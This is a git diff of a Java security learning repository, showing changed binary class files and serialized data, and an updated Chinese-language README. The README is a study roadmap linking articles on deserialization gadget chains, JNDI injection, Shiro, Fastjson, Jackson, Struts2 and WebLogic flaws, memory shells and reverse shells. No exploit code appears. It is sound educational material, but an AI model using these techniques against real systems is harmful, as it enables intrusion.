Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileInputRead02.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileInputRead02.class" differ
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileOutputWrite01.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileOutputWrite01.class"
index 0d37fe9a..ff906d68 100644
Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileOutputWrite01.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileOutputWrite01.class" differ
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileOutputWrite02.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileOutputWrite02.class"
index 6db02334..2b91cadb 100644
Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileOutputWrite02.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileOutputWrite02.class" differ
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileReaderPrint.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileReaderPrint.class"
index f27725a4..5af1259c 100644
Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileReaderPrint.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileReaderPrint.class" differ
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileWriteUse.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileWriteUse.class"
index 61d1cfb9..69c821fe 100644
Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileWriteUse.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileWriteUse.class" differ
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/URLDNSEXP.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/URLDNSEXP.class"
index 8d31713d..6a272952 100644
Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/URLDNSEXP.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/URLDNSEXP.class" differ
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/ser.bin" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/ser.bin"
index 499161be..e14fd9fe 100644
Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/ser.bin" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/ser.bin" differ
diff --git a/README.md b/README.md
index 00b898ed..cf91ebbc 100644
--- a/README.md
+++ b/README.md
@@ -1,12 +1,8 @@
-> 如果师傅们看到有好的文章,也欢迎 pr,一起分享在这个 repo 中
->
-> 详细项目代码在 JavaSecurity 文件夹中
-
# JavaSecurityLearning
-## Ref:
+项目的初衷是为了让更多师傅在学习 Java 安全的时候能够有一条比较清晰的学习路线,也希望师傅们通过这个项目学习 Java 安全时有能够所收获。
- https://github.com/Y4tacker/JavaSec
+项目文件夹中包含了部分用于漏洞调试的代码(如果有些东西自己搭建失败,可以复用仓库代码),对应文章记录在博客中。
## 基础开发(是一定要学的)
@@ -16,13 +12,13 @@
学完这两个之后可以自己过一个小项目[【实战】基于SpringBoot+Vue开发的前后端分离博客项目完整教学](https://www.bilibili.com/video/BV1PQ4y1P7hZ?vd_source=a4eba559e280bf2f1aec770f740d0645)
-- 学完这些内容最多花费两个月时间。
+- 学完这些内容最多花费两个月
推荐的 Java 基础,哪块不懂看哪块,[二倍速【狂神说Java】Java零基础学习视频通俗易懂](https://www.bilibili.com/video/BV12J41137hu?spm_id_from=333.337.search-card.all.click)
## Java 安全基础
-可以看b站白日梦组长的视频,讲的非常好
+可以看b站白日梦组长视频,讲的非常好。
- [Java反序列化漏洞专题-基础篇(21/09/05更新类加载部分)](https://www.bilibili.com/video/BV16h411z7o9?spm_id_from=333.788.top_right_bar_window_custom_collection.content.click)
- [Java-IO流](https://drun1baby.github.io/2022/05/30/Java-IO流/)
@@ -34,7 +30,7 @@
- [反弹shell学习 ———— 这里主要是为了 yso 的使用](https://drun1baby.github.io/2022/07/20/反弹shell学习/)
- [Java 反弹 shell 与 Runtime.getRuntime().exec() 的故事](https://drun1baby.github.io/2022/10/12/Java-反弹-shell-与-Runtime-getRuntime-exec-的故事/)
-一开始学还是会有点懵的,学到后面自然而然就会了
+一开始学还是会有点懵的,学到后面自然而然就会了。
## Java 反序列化基础
@@ -69,6 +65,8 @@ CC 链部分结束,进入 shiro 部分,shiro 之前我们已经走过开发
- [Shiro550流程分析](https://drun1baby.github.io/2022/07/10/Java反序列化Shiro篇01-Shiro550流程分析/)
- [02-Shiro721流程分析](https://drun1baby.top/2023/03/08/Java反序列化Shiro篇02-Shiro721流程分析/)
+后面根据自己需求可以补 Shiro 权限绕过的部分。
+
## Java 反序列化进阶
- 这块是基础中的基础,但是也很难,要静下心来学的。
@@ -83,7 +81,7 @@ LDAP 是包含在 JNDI 里面的
学完上面的之后就可以开始学习其他的了。
-## Fastjson&&Jackson
+## Fastjson
- [FastJson基础](https://drun1baby.github.io/2022/08/04/Java反序列化Fastjson篇01-Fastjson基础/)
- [Fastjson-1.2.24版本漏洞分析](https://drun1baby.github.io/2022/08/06/Java反序列化Fastjson篇02-Fastjson-1-2-24版本漏洞分析/)
@@ -110,8 +108,6 @@ LDAP 是包含在 JNDI 里面的
- [CVE-2021-2109 WebLogic JNDI 注入](https://drun1baby.top/2023/02/12/CVE-2021-2109-WebLogic-JNDI-注入/)
- [WebLogic 弱口令&文件上传&SSRF](https://drun1baby.top/2023/03/06/WebLogic-弱口令-文件上传-SSRF/)
-
-
## EL 表达式注入(本质上还是 OGNL 表达式注入)
- [Java 之 SpEL 表达式注入](https://drun1baby.github.io/2022/09/23/Java-之-SpEL-表达式注入/)
@@ -121,6 +117,7 @@ LDAP 是包含在 JNDI 里面的
## 内存马
关于内存马的环境搭建可以看我这一篇文章:[Servlet 项目搭建](https://drun1baby.github.io/2022/08/22/Servlet-项目搭建/)
+学习完之后最好自己可以用 Java Agent 实现一个 RASP
- [Java反序列化之内存马系列 01-基础内容学习](https://drun1baby.github.io/2022/08/19/Java内存马系列-01-基础内容学习/)
- [Java内存马系列-02-内存马介绍](https://drun1baby.github.io/2022/08/21/Java内存马系列-02-内存马介绍/)
@@ -128,15 +125,22 @@ LDAP 是包含在 JNDI 里面的
- [Java内存马系列-04-Tomcat 之 Listener 型内存马](https://drun1baby.github.io/2022/08/27/Java内存马系列-04-Tomcat-之-Listener-型内存马/)
- [Java内存马系列-05-Tomcat 之 Servlet 型内存马](https://drun1baby.github.io/2022/09/04/Java内存马系列-05-Tomcat-之-Servlet-型内存马/)
- [Java内存马系列-06-Tomcat 之 Valve 型内存马](https://drun1baby.github.io/2022/09/07/Java内存马系列-06-Tomcat-之-Valve-型内存马/)
+- [Java Agent 内存马学习](https://drun1baby.top/2023/12/07/Java-Agent-内存马学习/)
+
+## 关于 Java 代码审计(很多人对这块其实有个误区)
-## 关于 Java 代码审计
+其实 Java 安全不光只有反序列化,其实代码审计也是很重要的,我最开始学的时候就踏入了这个误区。
WebGoat 代码打底 [WebGoat代码审计](https://drun1baby.top/2022/03/17/WebGoat代码审计-02-SQL注入/)
-详细的**代码审计的文章**与资料,指路 [Java Owasp Top10 审计](https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/CodeReview/JavaSec-Code)
+详细的**代码审计的文章与资料**,指路 [Java Owasp Top10 审计](https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/CodeReview/JavaSec-Code)
+
+Springboot 文件上传 RCE https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks
## 查漏补缺
+- 其实链子没必要跟太多了,实战才是最重要的。
+
[Java反序列化之C3P0链](https://drun1baby.github.io/2022/10/06/Java反序列化之C3P0链/)
[Java OWASP 中的 XXE 代码审计](https://drun1baby.github.io/2022/09/16/Java-OWASP-中的-XXE-代码审计/)
@@ -151,15 +155,89 @@ WebGoat 代码打底 [WebGoat代码审计](https://drun1baby.top/2022/03/17/WebG
[Java反序列化Fastjson篇05-写给自己看的一些源码深入分析](https://drun1baby.github.io/2022/10/19/Java反序列化Fastjson篇05-写给自己看的一些源码深入分析/)
+JS 引擎攻防 https://xz.aliyun.com/t/8697
+
## Struts2 系列漏洞
+这块应该是目前学习的重点之一
+
[Java Struts2 学习与环境搭建](https://drun1baby.github.io/2022/11/02/Java-Struts2-学习与环境搭建/)
[Java Struts2 系列 S2-001](https://drun1baby.github.io/2022/10/27/Java-Struts2-系列-S2-001/)
+## Jackson 系列漏洞
+
+[Jackson 反序列化(一)漏洞原理](https://drun1baby.top/2023/12/07/Jackson-反序列化(一)漏洞原理/)
+
+[Jackson 反序列化(二)CVE-2017-7525](https://drun1baby.top/2023/12/07/Jackson-反序列化(二)CVE-2017-7525/)
+
+[Jackson 反序列化(三)CVE-2017-17485](https://drun1baby.top/2023/12/07/Jackson-反序列化(三)CVE-2017-17485/)
+
+Jackson 反序列化 —— https://boogipop.com/2023/06/20/Jackson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%80%9A%E6%9D%80Web%E9%A2%98/
+
+## Apache
+
+### Apache DolphinScheduler
+
+CVE-2023-49299 & CVE-2024-23320 & CVE-2023-49109 漏洞概述:https://xz.aliyun.com/t/13981
+
+### Apache Ofbiz
+
+https://y4tacker.github.io/2023/12/27/year/2023/12/Apache-OFBiz%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%B5%85%E6%9E%90-CVE-2023-51467/
+
## CodeQL
+师傅可能在编译的时候还会遇到一些问题,然而新版本的 CodeQL 对于 Java 已经不需要编译了
+
[CodeQL 入门](https://drun1baby.top/2023/09/03/CodeQL-%E5%85%A5%E9%97%A8/)
[CodeQL 官方文档学习](https://drun1baby.top/2023/07/31/CodeQL-%E5%AD%A6%E4%B9%A0/)
+[用CodeQL分析漏洞_CVE-2022-42889 | l3yx's blog](https://l3yx.github.io/2022/12/17/用CodeQL分析漏洞-CVE-2022-42889/)
+
+## 漏洞挖掘
+
+Tabby 的使用:https://github.com/wh1t3p1g/tabby
+
+## 后记
+感觉现在 go 用的真的很多,java 系列可能暂时断更了,或许在不久的将来会出一个 golangSecurityLearning
+
+
+
+
+ Star History Chart
+
+
+- 交流群
+
+随着点 Star 的师傅越来越多,希望给师傅们提供一个交流的平台
+同时平常有一些师傅会加我好友问问题,问的人越来越多,于是决定建个群,也可以让师傅们在群里交流。(希望以后会写 golang 的 SecurityLearning)
+
+> 可加 VX DrunkbabySec
+
+
+
+
+
+
+
+
+
+
+
+
+
+